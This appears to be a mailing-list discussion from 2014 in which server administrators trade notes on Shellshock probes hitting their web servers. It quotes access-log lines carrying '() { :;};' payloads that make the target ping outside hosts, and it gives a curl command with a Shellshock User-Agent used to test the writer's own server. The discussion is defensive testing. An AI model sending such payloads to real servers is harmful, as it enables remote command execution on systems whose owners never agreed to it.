On 2014-09-25 Gilbert E. Detillieux wrote:
Didn't take the script kiddies long to start trying...
Ya, good catch Sean for speculating on a vector and thanks Gilbert for giving us an easy check. I was thinking only along the lines of attacking ssh/login. Hadn't thought of http vectors.
89.207.135.125 - - [25/Sep/2014:03:22:13 -0500] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 295 "-" "() { :;}; /bin/ping -c 1 198.101.206.138" 198.20.69.74 - - [25/Sep/2014:13:49:53 -0500] "GET / HTTP/1.1" 301 301 "() { :; }; /bin/ping -c 1 104.131.0.69" "() { :; }; /bin/ping -c 1 104.131.0.69"
I just checked and the exact same hosts tested my server in the same way.
I have another host, with some CGI scripts that have names of the form */cgi-bin/*.sh, and those URL's are seeing a lot of attempts (all failed as well). I guess they've got lists of potential target URL's to try, and anything ending in ".sh" is going to be irresistible!
For sure someone must have compiled existing web-server lists to rapidly exploit zero-day http vectors. I'm actually a bit surprised that a) they did that and b) my measly SMB site is on the list.
I run a lot of PHP, and a few fork out calls to perl, almost always via bash intermediation. I tested and mod PHP isn't affected, but I'm thinking my perl scenario above would be vulnerable, unless PHP is cleansing the env vars before the bash call.
A quick test reveals that the above scenario is not vulnerable, it appears PHP is cleaning the env before exec-type calls:
Make a php file in your web doc root (say z.php): <? $z=`/bin/perl -e 'foreach (keys %ENV) { print "\$_\t\$ENV{\$_}\n" } '`; echo "here are the envs:\n$z\n"; ?>
644 it and hit it with curl:
curl -X GET -A '() { :; }; /bin/echo foo>/tmp/foo' https://foo.bar/z.php
You don't get a /tmp/foo file (I'm testing pre-patch application) and the env shows only 8 vars, and nothing passed from httpd external input (like USER_AGENT).
Phew!
Besides CGI which by its nature must pass the ENV, it looks like the number of http-vector cases may be limited.